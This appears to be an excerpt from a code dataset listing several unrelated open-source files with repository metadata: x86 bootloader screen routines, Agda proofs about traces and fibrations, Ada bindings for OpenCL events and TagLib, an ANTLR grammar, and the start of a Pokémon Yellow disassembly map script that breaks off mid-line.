max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
boot/stage2/func32.asm
arushsharma24/KSOS
87
246102
<reponame>arushsharma24/KSOS [bits 32] ;global print_esi_32 ;global set_cursor_32 ;global clrscr_32 print_esi_32: ;--------------ah = attribute pusha call get_cursor_32 ; mov ah,0x0f ;Background on foreground --------Keep this as a user input shl ebx,1 ;Multiply by 2 add ebx,0xb8000 ;Starting address _print_pm_loop: mov al,[esi] mov [ebx],ax add esi,1 add ebx,2 cmp al,0 je _print_pm_end jmp _print_pm_loop _print_pm_end: sub ebx,0xb8000 shr ebx,1 ;Divide by 2 dec ebx call set_cursor_32 popa ret set_cursor_32: ;bx is the location push dx push ax mov al, 0x0f ;Refer to the index register table port mapping for CRT (low byte) mov dx, 0x3d4 ; port number CRT index out dx,al ;Write 0x0f in port 0x3D4 --- note that the port registers are 1 byte in size mov dx,0x3d5 ;port number CRT data mov al,bl out dx,al mov al, 0x0e ;Refer to the index register table port mapping for CRT (high byte) mov dx, 0x3d4 ; port number CRT index out dx,al mov dx,0x3d5 ;port number CRT data mov al,bh out dx,al pop ax pop dx ret get_cursor_32: ;pusha can't use this becuase we expect a return vlaue in bx push dx push ax mov al, 0x0f ;Refer to the index register table port mapping for CRT (low byte) mov dx, 0x3d4 ; port number CRT index out dx,al ;Write 0x0f in port 0x3D4 --- note that the port registers are 1 byte in size mov dx,0x3d5 ;port number CRT data in al,dx ;Store the low byte in al -- Hardware forced to use al mov bl,al mov al, 0x0e ;Refer to the index register table port mapping for CRT (high byte) mov dx, 0x3d4 ; port number CRT index out dx,al ;Write 0x0f in port 0x3D4 --- note that the port registers are 1 byte in size mov dx,0x3d5 ;port number CRT data in al,dx ;Store the high byte in al -- Hardware forced to use al mov bh,al ;Store the high byte in bh pop ax pop dx ret clrscr_32: pusha mov ebx,0xb8000 ; mov ah,0x30 User defined mov al,' ' mov cx,2000 ;loop initialization clrscr_loop: mov word[ebx],ax add ebx,2 loop clrscr_loop mov bx,0 call set_cursor_32 popa ret
src/Trace.agda
boystrange/FairSubtypingAgda
4
12152
-- MIT License -- Copyright (c) 2021 <NAME> and <NAME> -- Permission is hereby granted, free of charge, to any person -- obtaining a copy of this software and associated documentation -- files (the "Software"), to deal in the Software without -- restriction, including without limitation the rights to use, -- copy, modify, merge, publish, distribute, sublicense, and/or sell -- copies of the Software, and to permit persons to whom the -- Software is furnished to do so, subject to the following -- conditions: -- The above copyright notice and this permission notice shall be -- included in all copies or substantial portions of the Software. -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -- OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -- NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -- HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -- WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -- OTHER DEALINGS IN THE SOFTWARE. {-# OPTIONS --guardedness #-} open import Data.Product open import Data.List using (List; []; _∷_; _∷ʳ_; _++_) open import Data.List.Properties using (∷-injective) open import Relation.Nullary open import Relation.Binary.PropositionalEquality using (_≡_; _≢_; refl; cong) open import Common module Trace {ℙ : Set} (message : Message ℙ) where open import Action message public open import SessionType message Trace : Set Trace = List Action --| CO-TRACES |-- co-trace : Trace -> Trace co-trace = Data.List.map co-action co-trace-involution : (φ : Trace) -> co-trace (co-trace φ) ≡ φ co-trace-involution [] = refl co-trace-involution (α ∷ φ) rewrite co-action-involution α | co-trace-involution φ = refl co-trace-++ : (φ ψ : Trace) -> co-trace (φ ++ ψ) ≡ co-trace φ ++ co-trace ψ co-trace-++ [] _ = refl co-trace-++ (α ∷ φ) ψ = cong (co-action α ∷_) (co-trace-++ φ ψ) co-trace-injective : ∀{φ ψ} -> co-trace φ ≡ co-trace ψ -> φ ≡ ψ co-trace-injective {[]} {[]} eq = refl co-trace-injective {x ∷ φ} {x₁ ∷ ψ} eq with ∷-injective eq ... | eq1 , eq2 rewrite co-action-injective eq1 | co-trace-injective eq2 = refl --| PREFIX RELATION |-- data _⊑_ : Trace -> Trace -> Set where none : ∀{φ} -> [] ⊑ φ some : ∀{φ ψ α} -> φ ⊑ ψ -> (α ∷ φ) ⊑ (α ∷ ψ) ⊑-refl : (φ : Trace) -> φ ⊑ φ ⊑-refl [] = none ⊑-refl (_ ∷ φ) = some (⊑-refl φ) ⊑-tran : ∀{φ ψ χ} -> φ ⊑ ψ -> ψ ⊑ χ -> φ ⊑ χ ⊑-tran none _ = none ⊑-tran (some le1) (some le2) = some (⊑-tran le1 le2) ⊑-++ : ∀{φ χ} -> φ ⊑ (φ ++ χ) ⊑-++ {[]} = none ⊑-++ {_ ∷ φ} = some (⊑-++ {φ}) ⊑-precong-++ : ∀{φ ψ χ} -> ψ ⊑ χ -> (φ ++ ψ) ⊑ (φ ++ χ) ⊑-precong-++ {[]} le = le ⊑-precong-++ {_ ∷ _} le = some (⊑-precong-++ le) ⊑-co-trace : ∀{φ ψ} -> φ ⊑ ψ -> co-trace φ ⊑ co-trace ψ ⊑-co-trace none = none ⊑-co-trace (some le) = some (⊑-co-trace le) ⊑-trace : ∀{φ ψ} -> ψ ⊑ φ -> ∃[ φ' ] (φ ≡ ψ ++ φ') ⊑-trace {φ} none = φ , refl ⊑-trace {α ∷ φ} (some le) with ⊑-trace le ... | φ' , eq rewrite eq = φ' , refl absurd-++-≡ : ∀{φ ψ : Trace}{α} -> (φ ++ α ∷ ψ) ≢ [] absurd-++-≡ {[]} () absurd-++-≡ {_ ∷ _} () absurd-++-⊑ : ∀{φ α ψ} -> ¬ (φ ++ α ∷ ψ) ⊑ [] absurd-++-⊑ {[]} () absurd-++-⊑ {_ ∷ _} () --| STRICT PREFIX RELATION |-- data _⊏_ : Trace -> Trace -> Set where none : ∀{α φ} -> [] ⊏ (α ∷ φ) some : ∀{φ ψ α} -> φ ⊏ ψ -> (α ∷ φ) ⊏ (α ∷ ψ) ⊏-irreflexive : ∀{φ} -> ¬ φ ⊏ φ ⊏-irreflexive (some lt) = ⊏-irreflexive lt ⊏-++ : ∀{φ ψ α} -> φ ⊏ (φ ++ (ψ ∷ʳ α)) ⊏-++ {[]} {[]} = none ⊏-++ {[]} {_ ∷ _} = none ⊏-++ {_ ∷ φ} = some (⊏-++ {φ}) ⊏->≢ : ∀{φ ψ} -> φ ⊏ ψ -> φ ≢ ψ ⊏->≢ (some lt) refl = ⊏-irreflexive lt ⊏->⊑ : ∀{φ ψ} -> φ ⊏ ψ -> φ ⊑ ψ ⊏->⊑ none = none ⊏->⊑ (some lt) = some (⊏->⊑ lt)
src/implementation/cl-events.adb
flyx/OpenCLAda
8
128
<reponame>flyx/OpenCLAda -------------------------------------------------------------------------------- -- Copyright (c) 2013, <NAME> <<EMAIL>> -- -- Permission to use, copy, modify, and/or distribute this software for any -- purpose with or without fee is hereby granted, provided that the above -- copyright notice and this permission notice appear in all copies. -- -- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. -------------------------------------------------------------------------------- with CL.API; with CL.Enumerations; with CL.Helpers; package body CL.Events is procedure Adjust (Object : in out Event) is use type System.Address; begin if Object.Location /= System.Null_Address then Helpers.Error_Handler (API.Retain_Event (Object.Location)); end if; end Adjust; procedure Finalize (Object : in out Event) is use type System.Address; begin if Object.Location /= System.Null_Address then Helpers.Error_Handler (API.Release_Event (Object.Location)); end if; end Finalize; procedure Wait_For (Subject : Event) is List : constant Event_List (1..1) := (1 => Subject'Unchecked_Access); begin Wait_For (List); end Wait_For; procedure Wait_For (Subjects : Event_List) is Raw_List : Address_List (Subjects'Range); begin for Index in Subjects'Range loop Raw_List (Index) := Subjects (Index).Location; end loop; Helpers.Error_Handler (API.Wait_For_Events (Subjects'Length, Raw_List (1)'Address)); end Wait_For; function Command_Queue (Source : Event) return Command_Queues.Queue is function Getter is new Helpers.Get_Parameter (Return_T => System.Address, Parameter_T => Enumerations.Event_Info, C_Getter => API.Get_Event_Info); function New_CQ_Reference is new Helpers.New_Reference (Object_T => Command_Queues.Queue); begin return New_CQ_Reference (Getter (Source, Enumerations.Command_Queue)); end Command_Queue; function Kind (Source : Event) return Command_Type is function Getter is new Helpers.Get_Parameter (Return_T => Command_Type, Parameter_T => Enumerations.Event_Info, C_Getter => API.Get_Event_Info); begin return Getter (Source, Enumerations.Command_T); end Kind; function Reference_Count (Source : Event) return UInt is function Getter is new Helpers.Get_Parameter (Return_T => UInt, Parameter_T => Enumerations.Event_Info, C_Getter => API.Get_Event_Info); begin return Getter (Source, Enumerations.Reference_Count); end Reference_Count; function Status (Source : Event) return Execution_Status is function Getter is new Helpers.Get_Parameter (Return_T => Execution_Status, Parameter_T => Enumerations.Event_Info, C_Getter => API.Get_Event_Info); begin return Getter (Source, Enumerations.Command_Execution_Status); end Status; function Profiling_Info_ULong is new Helpers.Get_Parameter (Return_T => ULong, Parameter_T => Enumerations.Profiling_Info, C_Getter => API.Get_Event_Profiling_Info); function Queued_At (Source : Event) return ULong is begin return Profiling_Info_ULong (Source, Enumerations.Command_Queued); end Queued_At; function Submitted_At (Source : Event) return ULong is begin return Profiling_Info_ULong (Source, Enumerations.Submit); end Submitted_At; function Started_At (Source : Event) return ULong is begin return Profiling_Info_ULong (Source, Enumerations.Start); end Started_At; function Ended_At (Source : Event) return ULong is begin return Profiling_Info_ULong (Source, Enumerations.P_End); end Ended_At; end CL.Events;
src/taglib.adb
persan/a-taglib
0
21488
pragma Ada_2012; with Interfaces.C.Strings; with Interfaces.C; use Interfaces.C; package body taglib is -- unsupported macro: TAGLIB_C_EXPORT __attribute__ ((visibility("default"))) -- unsupported macro: BOOL int type TagLib_File is record Dummy : aliased Int; -- /usr/include/taglib/tag_c.h:65 end record; pragma Convention (C_Pass_By_Copy, TagLib_File); -- /usr/include/taglib/tag_c.h:65 -- skipped anonymous struct anon_0 type TagLib_Tag is record Dummy : aliased Int; -- /usr/include/taglib/tag_c.h:66 end record; pragma Convention (C_Pass_By_Copy, TagLib_Tag); -- /usr/include/taglib/tag_c.h:66 -- skipped anonymous struct anon_1 type TagLib_AudioProperties is record Dummy : aliased Int; -- /usr/include/taglib/tag_c.h:67 end record; pragma Convention (C_Pass_By_Copy, TagLib_AudioProperties); -- /usr/include/taglib/tag_c.h:67 -- skipped anonymous struct anon_2 procedure Taglib_Set_Strings_Unicode (Unicode : Int); -- /usr/include/taglib/tag_c.h:74 pragma Import (C, Taglib_Set_Strings_Unicode, "taglib_set_strings_unicode"); procedure Taglib_Set_String_Management_Enabled (Management : Int); -- /usr/include/taglib/tag_c.h:82 pragma Import (C, Taglib_Set_String_Management_Enabled, "taglib_set_string_management_enabled"); -- procedure Taglib_Free (Pointer : System.Address); -- /usr/include/taglib/tag_c.h:87 -- pragma Import (C, Taglib_Free, "taglib_free"); type TagLib_File_Type is (TagLib_File_MPEG, TagLib_File_OggVorbis, TagLib_File_FLAC, TagLib_File_MPC, TagLib_File_OggFlac, TagLib_File_WavPack, TagLib_File_Speex, TagLib_File_TrueAudio, TagLib_File_MP4, TagLib_File_ASF) with Warnings => off; pragma Convention (C, TagLib_File_Type); -- /usr/include/taglib/tag_c.h:104 function Taglib_File_New (Filename : Interfaces.C.Strings.Chars_Ptr) return access TagLib_File; -- /usr/include/taglib/tag_c.h:113 pragma Import (C, Taglib_File_New, "taglib_file_new"); function Taglib_File_New_Type (Filename : Interfaces.C.Strings.Chars_Ptr; C_Type : TagLib_File_Type) return access TagLib_File; -- /usr/include/taglib/tag_c.h:119 pragma Import (C, Taglib_File_New_Type, "taglib_file_new_type"); procedure Taglib_File_Free (File : access TagLib_File); -- /usr/include/taglib/tag_c.h:124 pragma Import (C, Taglib_File_Free, "taglib_file_free"); function Taglib_File_Is_Valid (File : access TagLib_File) return Int; -- /usr/include/taglib/tag_c.h:131 pragma Import (C, Taglib_File_Is_Valid, "taglib_file_is_valid"); function Taglib_File_Tag (File : access TagLib_File) return access TagLib_Tag; -- /usr/include/taglib/tag_c.h:137 pragma Import (C, Taglib_File_Tag, "taglib_file_tag"); function Taglib_File_Audioproperties (File : access TagLib_File) return access TagLib_AudioProperties; -- /usr/include/taglib/tag_c.h:143 pragma Import (C, Taglib_File_Audioproperties, "taglib_file_audioproperties"); function Taglib_File_Save (File : access TagLib_File) return Int; -- /usr/include/taglib/tag_c.h:148 pragma Import (C, Taglib_File_Save, "taglib_file_save"); function Taglib_Tag_Title (Tag : access TagLib_Tag) return Interfaces.C.Strings.Chars_Ptr; -- /usr/include/taglib/tag_c.h:160 pragma Import (C, Taglib_Tag_Title, "taglib_tag_title"); function Taglib_Tag_Artist (Tag : access TagLib_Tag) return Interfaces.C.Strings.Chars_Ptr; -- /usr/include/taglib/tag_c.h:168 pragma Import (C, Taglib_Tag_Artist, "taglib_tag_artist"); function Taglib_Tag_Album (Tag : access TagLib_Tag) return Interfaces.C.Strings.Chars_Ptr; -- /usr/include/taglib/tag_c.h:176 pragma Import (C, Taglib_Tag_Album, "taglib_tag_album"); function Taglib_Tag_Comment (Tag : access TagLib_Tag) return Interfaces.C.Strings.Chars_Ptr; -- /usr/include/taglib/tag_c.h:184 pragma Import (C, Taglib_Tag_Comment, "taglib_tag_comment"); function Taglib_Tag_Genre (Tag : access TagLib_Tag) return Interfaces.C.Strings.Chars_Ptr; -- /usr/include/taglib/tag_c.h:192 pragma Import (C, Taglib_Tag_Genre, "taglib_tag_genre"); function Taglib_Tag_Year (Tag : access TagLib_Tag) return Unsigned; -- /usr/include/taglib/tag_c.h:197 pragma Import (C, Taglib_Tag_Year, "taglib_tag_year"); function Taglib_Tag_Track (Tag : access TagLib_Tag) return Unsigned; -- /usr/include/taglib/tag_c.h:202 pragma Import (C, Taglib_Tag_Track, "taglib_tag_track"); procedure Taglib_Tag_Set_Title (Tag : access TagLib_Tag; Title : Interfaces.C.Strings.Chars_Ptr); -- /usr/include/taglib/tag_c.h:209 pragma Import (C, Taglib_Tag_Set_Title, "taglib_tag_set_title"); procedure Taglib_Tag_Set_Artist (Tag : access TagLib_Tag; Artist : Interfaces.C.Strings.Chars_Ptr); -- /usr/include/taglib/tag_c.h:216 pragma Import (C, Taglib_Tag_Set_Artist, "taglib_tag_set_artist"); procedure Taglib_Tag_Set_Album (Tag : access TagLib_Tag; Album : Interfaces.C.Strings.Chars_Ptr); -- /usr/include/taglib/tag_c.h:223 pragma Import (C, Taglib_Tag_Set_Album, "taglib_tag_set_album"); procedure Taglib_Tag_Set_Comment (Tag : access TagLib_Tag; Comment : Interfaces.C.Strings.Chars_Ptr); -- /usr/include/taglib/tag_c.h:230 pragma Import (C, Taglib_Tag_Set_Comment, "taglib_tag_set_comment"); procedure Taglib_Tag_Set_Genre (Tag : access TagLib_Tag; Genre : Interfaces.C.Strings.Chars_Ptr); -- /usr/include/taglib/tag_c.h:237 pragma Import (C, Taglib_Tag_Set_Genre, "taglib_tag_set_genre"); procedure Taglib_Tag_Set_Year (Tag : access TagLib_Tag; Year : Unsigned); -- /usr/include/taglib/tag_c.h:242 pragma Import (C, Taglib_Tag_Set_Year, "taglib_tag_set_year"); procedure Taglib_Tag_Set_Track (Tag : access TagLib_Tag; Track : Unsigned); -- /usr/include/taglib/tag_c.h:247 pragma Import (C, Taglib_Tag_Set_Track, "taglib_tag_set_track"); procedure Taglib_Tag_Free_Strings; -- /usr/include/taglib/tag_c.h:252 pragma Import (C, Taglib_Tag_Free_Strings, "taglib_tag_free_strings"); function Taglib_Audioproperties_Length (AudioProperties : access TagLib_AudioProperties) return Int; -- /usr/include/taglib/tag_c.h:261 pragma Import (C, Taglib_Audioproperties_Length, "taglib_audioproperties_length"); function Taglib_Audioproperties_Bitrate (AudioProperties : access TagLib_AudioProperties) return Int; -- /usr/include/taglib/tag_c.h:266 pragma Import (C, Taglib_Audioproperties_Bitrate, "taglib_audioproperties_bitrate"); function Taglib_Audioproperties_Samplerate (AudioProperties : access TagLib_AudioProperties) return Int; -- /usr/include/taglib/tag_c.h:271 pragma Import (C, Taglib_Audioproperties_Samplerate, "taglib_audioproperties_samplerate"); function Taglib_Audioproperties_Channels (AudioProperties : access TagLib_AudioProperties) return Int; -- /usr/include/taglib/tag_c.h:276 pragma Import (C, Taglib_Audioproperties_Channels, "taglib_audioproperties_channels"); type TagLib_ID3v2_Encoding is (TagLib_ID3v2_Latin1, TagLib_ID3v2_UTF16, TagLib_ID3v2_UTF16BE, TagLib_ID3v2_UTF8) with Warnings => Off; pragma Convention (C, TagLib_ID3v2_Encoding); -- /usr/include/taglib/tag_c.h:287 procedure Taglib_Id3v2_Set_Default_Text_Encoding (Encoding : TagLib_ID3v2_Encoding); -- /usr/include/taglib/tag_c.h:293 pragma Import (C, Taglib_Id3v2_Set_Default_Text_Encoding, "taglib_id3v2_set_default_text_encoding"); ------------------------- -- set_strings_unicode -- ------------------------- procedure Set_Strings_Unicode (unicode : Boolean) is begin Taglib_Set_Strings_Unicode (Boolean'Pos(Unicode)); end Set_Strings_Unicode; ----------------------------------- -- set_string_management_enabled -- ----------------------------------- procedure Set_String_Management_Enabled (management : Boolean) is begin Taglib_Set_String_Management_Enabled (Boolean'Pos(Management)); end Set_String_Management_Enabled; -------------- -- file_new -- -------------- function File_New (Filename : String) return File is L_Filename : Interfaces.C.Strings.Chars_Ptr; begin L_Filename := Interfaces.C.Strings.New_String (Filename); return Ret : File do Ret.Dummy := Taglib_File_New (L_Filename); Interfaces.C.Strings.Free (L_Filename); end return; end File_New; -------------- -- file_new -- -------------- function File_New (Filename : String; C_Type : File_Type) return File is L_Filename : Interfaces.C.Strings.Chars_Ptr; begin L_Filename := Interfaces.C.Strings.New_String (Filename); return Ret : File do Ret.Dummy := Taglib_File_New_Type (L_Filename,TagLib_File_Type'Val(File_Type'Pos(C_Type))); Interfaces.C.Strings.Free (L_Filename); end return; end File_New; ------------------- -- file_is_valid -- ------------------- function Is_Valid (F : File) return Boolean is begin return ( if F.Dummy = null then False else Taglib_File_Is_Valid(F.Dummy) /= 0); end Is_Valid; -------------- -- file_tag -- -------------- function Get_Tag (F : File'Class) return Tag is begin return Ret : Tag do Ret.Dummy := Taglib_File_Tag (F.Dummy); end return; end Get_Tag; -------------------------- -- file_audioproperties -- -------------------------- function Get_Audioproperties (F : File'Class) return AudioProperties is begin return Ret : AudioProperties do Ret.Dummy := Taglib_File_Audioproperties (F.Dummy); end return; end Get_Audioproperties; --------------- -- file_save -- --------------- procedure Save (F : File) is begin if Taglib_File_Save (F.Dummy) /= 0 then raise Program_Error with "unable to save"; end if; end Save; use all type Interfaces.C.Strings.Chars_Ptr; ----------- -- title -- ----------- function Title (T : Tag) return String is Ret : Interfaces.C.Strings.Chars_Ptr := Taglib_Tag_Title (T.dummy); begin if Ret /= Interfaces.C.Strings.Null_Ptr then return R : constant String := Interfaces.C.Strings.Value (Ret) do Free (Ret); end return; else return ""; end if; end Title; ------------ -- artist -- ------------ function Artist (T : Tag) return String is Ret : Interfaces.C.Strings.Chars_Ptr := Taglib_Tag_Artist (T.dummy); begin if Ret /= Interfaces.C.Strings.Null_Ptr then return R : constant String := Interfaces.C.Strings.Value (Ret) do Free (Ret); end return; else return ""; end if; end Artist; ----------- -- album -- ----------- function Album (T : Tag) return String is Ret : Interfaces.C.Strings.Chars_Ptr := Taglib_Tag_Album (T.dummy); begin if Ret /= Interfaces.C.Strings.Null_Ptr then return R : constant String := Interfaces.C.Strings.Value (Ret) do Free (Ret); end return; else return ""; end if; end Album; ------------- -- comment -- ------------- function Comment (T : Tag) return String is Ret : Interfaces.C.Strings.Chars_Ptr := Taglib_Tag_Comment (T.dummy); begin if Ret /= Interfaces.C.Strings.Null_Ptr then return R : constant String := Interfaces.C.Strings.Value (Ret) do Free (Ret); end return; else return ""; end if; end Comment; ----------- -- genre -- ----------- function Genre (T : Tag) return String is Ret : Interfaces.C.Strings.Chars_Ptr := Taglib_Tag_Genre (T.dummy); begin if Ret /= Interfaces.C.Strings.Null_Ptr then return R : constant String := Interfaces.C.Strings.Value (Ret) do Free (Ret); end return; else return ""; end if; end Genre; ---------- -- year -- ---------- function Year (T : Tag) return Ada.Calendar.Year_Number is Ret : constant unsigned := Taglib_Tag_Year (T.Dummy); begin return (if (Unsigned (Ada.Calendar.Year_Number'First) < Ret) or else (Ret > Unsigned (Ada.Calendar.Year_Number'Last)) then Ada.Calendar.Year_Number (Ret) else Ada.Calendar.Year_Number'First); end Year; ----------- -- track -- ----------- function Track (T : Tag) return Natural is begin return Natural (Taglib_Tag_Track (T.Dummy)); end Track; ----------- -- title -- ----------- procedure Set_Title (T : in out Tag; Title : String) is Data : Interfaces.C.Strings.Chars_Ptr := New_String (Title); begin Taglib_Tag_Set_Title (T.Dummy, Data); Free (Data); end Set_Title; ---------------- -- set_artist -- ---------------- procedure Set_Artist (T : in out Tag; Artist : String) is Data : Interfaces.C.Strings.Chars_Ptr := New_String (Artist); begin Taglib_Tag_Set_Artist (T.Dummy, Data); Free (Data); end Set_Artist; --------------- -- set_album -- --------------- procedure Set_Album (T : in out Tag; Album : String) is Data : Interfaces.C.Strings.Chars_Ptr := New_String (Album); begin Taglib_Tag_Set_Album (T.Dummy, Data); Free (Data); end Set_Album; ----------------- -- set_comment -- ----------------- procedure Set_Comment (T : in out Tag; Comment : String) is Data : Interfaces.C.Strings.Chars_Ptr := New_String (Comment); begin Taglib_Tag_Set_Comment (T.Dummy, Data); Free (Data); end Set_Comment; ------------------- -- tag_set_genre -- ------------------- procedure Set_Genre (T : in out Tag; Genre : String) is Data : Interfaces.C.Strings.Chars_Ptr := New_String (Genre); begin Taglib_Tag_Set_Genre (T.Dummy, Data); Free (Data); end Set_Genre; ------------------ -- tag_set_year -- ------------------ procedure Set_Year (T : in out Tag; Year : Ada.Calendar.Year_Number) is begin Taglib_Tag_Set_Year (T.Dummy, Interfaces.C.unsigned (Year)); end Set_Year; ------------------- -- tag_set_track -- ------------------- procedure Set_Track (T : in out Tag; Track : Positive) is begin Taglib_Tag_Set_Track (T.Dummy, Interfaces.C.unsigned (Track)); end Set_Track; ---------------------- -- tag_free_strings -- ---------------------- procedure Tag_Free_Strings is begin Taglib_Tag_Free_Strings; end Tag_Free_Strings; ------------ -- length -- ------------ function Length (Properties : AudioProperties) return Natural is begin return Natural (Taglib_Audioproperties_Length (Properties.Dummy)); end Length; ------------- -- bitrate -- ------------- function Bitrate (Properties : AudioProperties) return Natural is begin return Natural (Taglib_Audioproperties_Bitrate (Properties.Dummy)); end Bitrate; ---------------- -- samplerate -- ---------------- function Samplerate (Properties : AudioProperties) return Natural is begin return Natural (Taglib_Audioproperties_Samplerate (Properties.Dummy)); end Samplerate; -------------- -- channels -- -------------- function Channels (Properties : AudioProperties) return Natural is begin return Natural (Taglib_Audioproperties_Channels (Properties.Dummy)); end Channels; ------------------------------------- -- id3v2_set_default_text_encoding -- ------------------------------------- procedure Set_Default_Text_Encoding (Encoding : ID3v2_Encoding) is begin Taglib_Id3v2_Set_Default_Text_Encoding (Taglib_ID3v2_Encoding'Val(ID3v2_Encoding'Pos(Encoding))); end Set_Default_Text_Encoding; -------------- -- Finalize -- -------------- procedure Finalize (Object : in out File) is begin Taglib_File_Free (Object.Dummy); Object.Dummy := null; end Finalize; end taglib;
src/Categories/Functor/Fibration.agda
Trebor-Huang/agda-categories
5
9983
{-# OPTIONS --without-K --safe #-} open import Categories.Category open import Categories.Functor -- Street fibration, which is the version of fibration that respects the principle of equivalence. -- https://ncatlab.org/nlab/show/Grothendieck+fibration#StreetFibration module Categories.Functor.Fibration {o ℓ e o′ ℓ′ e′} {C : Category o ℓ e} {D : Category o′ ℓ′ e′} (F : Functor C D) where open import Level open import Categories.Morphism D using (_≅_) open import Categories.Morphism.Cartesian using (Cartesian) private module C = Category C module D = Category D open Functor F record Fibration : Set (levelOfTerm F) where field universal₀ : ∀ {A B} (f : A D.⇒ F₀ B) → C.Obj universal₁ : ∀ {A B} (f : A D.⇒ F₀ B) → universal₀ f C.⇒ B iso : ∀ {A B} (f : A D.⇒ F₀ B) → F₀ (universal₀ f) ≅ A module iso {A B} (f : A D.⇒ F₀ B) = _≅_ (iso f) field commute : ∀ {A B} (f : A D.⇒ F₀ B) → f D.∘ iso.from f D.≈ F₁ (universal₁ f) cartesian : ∀ {A B} (f : A D.⇒ F₀ B) → Cartesian F (universal₁ f) module cartesian {A B} (f : A D.⇒ F₀ B) = Cartesian (cartesian f)
cymling.g4
GlenKPeterson/Rippl
2
5158
grammar cymling ; file_: form * EOF; form: literal | fun_block // | fun_appl | record | vector ; forms: form* ; pair: lcf_sym '=' form; record: '(' pair* ')' ; vector: '[' forms ']' ; fun_block: '{' (lcf_sym* '->')? forms '}' ; //fun_appl: lcf_sym '(' (form | pair)* ')' ; // fluent_appl: fun_appl ( '.' fun_appl )+ ; literal : string_ | number | character | null_ | BOOLEAN | keyword | lcf_sym | param_name ; string_: STRING; hex_: HEX; bin_: BIN; bign: BIGN; number : FLOAT | hex_ | bin_ | bign | LONG ; character : named_char | u_hex_quad | any_char ; named_char: CHAR_NAMED ; any_char: CHAR_ANY ; u_hex_quad: CHAR_U ; null_: NULL; keyword: macro_keyword | simple_keyword; simple_keyword: '%' symbol; macro_keyword: '%' '%' symbol; symbol: lcf_sym | ucf_sym; lcf_sym: LCF_SYMBOL; ucf_sym: UCF_SYMBOL; param_name: PARAM_NAME; // Lexers //-------------------------------------------------------------------- STRING : '"' ( ~'"' | '\\' '"' )* '"' ; // FIXME: Doesn't deal with arbitrary read radixes, BigNums FLOAT : '-'? [0-9]+ FLOAT_TAIL | '-'? 'Infinity' | '-'? 'NaN' ; fragment FLOAT_TAIL : FLOAT_DECIMAL FLOAT_EXP | FLOAT_DECIMAL | FLOAT_EXP ; fragment FLOAT_DECIMAL : '.' [0-9]+ ; fragment FLOAT_EXP : [eE] '-'? [0-9]+ ; fragment HEXD: [0-9a-fA-F] ; HEX: '0' [xX] HEXD+ ; BIN: '0' [bB] [10]+ ; LONG: '-'? [0-9]+[lL]?; BIGN: '-'? [0-9]+[nN]; CHAR_U : '\\' 'u'[0-9D-Fd-f] HEXD HEXD HEXD ; CHAR_NAMED : '\\' ( '\n' | '\t' ) ; CHAR_ANY : '\\' . ; NULL : 'null'; BOOLEAN : 'true' | 'false' ; DOT : '.' ; LCF_SYMBOL : LCF_SYMBOL_HEAD SYMBOL_REST* ; UCF_SYMBOL : UCF_SYMBOL_HEAD SYMBOL_REST* ; PARAM_NAME: 'it'; // Fragments //-------------------------------------------------------------------- fragment LCF_SYMBOL_HEAD : [\p{lowerCase}] ; fragment UCF_SYMBOL_HEAD : [\p{upperCase}] ; fragment SYMBOL_REST : ~('^' | '`' | '\'' | '"' | '#' | '~' | '@' | ':' | '<' | '=' | '>' | '(' | ')' | '[' | ']' | '{' | '}' | [ \n\r\t,] ) ; // Discard //-------------------------------------------------------------------- fragment WS : [ \n\r\t,] ; fragment LINE_COMMENT: '//' ~[\r\n]* ; fragment BLOCK_COMMENT: '/*' .*? '*/'; TRASH : ( WS | LINE_COMMENT ) -> channel(HIDDEN) ;
scripts/viridianforest.asm
adhi-thirumala/EvoYellow
0
1428
ViridianForestScript: call EnableAutoTextBoxDrawing ld hl, ViridianForestTrainerHeaders ld de, ViridianForestScriptPointers ld a, [wViridianForestCurScript] call ExecuteCurMapScriptInTable ld [wViridianForestCurScript], a ret ViridianForestScriptPointers: dw CheckFightingMapTrainers dw DisplayEnemyTrainerTextAndStartBattle dw EndTrainerBattle ViridianForestTextPointers: dw ViridianForestText1 dw ViridianForestText2 dw ViridianForestText3 dw ViridianForestText4 dw ViridianForestText5 dw ViridianForestText6 dw PickUpItemText dw PickUpItemText dw PickUpItemText dw ViridianForestText10 dw ViridianForestText11 dw ViridianForestText12 dw ViridianForestText13 dw ViridianForestText14 dw ViridianForestText15 dw ViridianForestText16 ViridianForestTrainerHeaders: ViridianForestTrainerHeader0: dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_0 db ($4 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_0 dw ViridianForestBattleText1 ; TextBeforeBattle dw ViridianForestAfterBattleText1 ; TextAfterBattle dw ViridianForestEndBattleText1 ; TextEndBattle dw ViridianForestEndBattleText1 ; TextEndBattle ViridianForestTrainerHeader1: dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_1 db ($4 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_1 dw ViridianForestBattleText2 ; TextBeforeBattle dw ViridianForestAfterBattleText2 ; TextAfterBattle dw ViridianForestEndBattleText2 ; TextEndBattle dw ViridianForestEndBattleText2 ; TextEndBattle ViridianForestTrainerHeader2: dbEventFlagBit 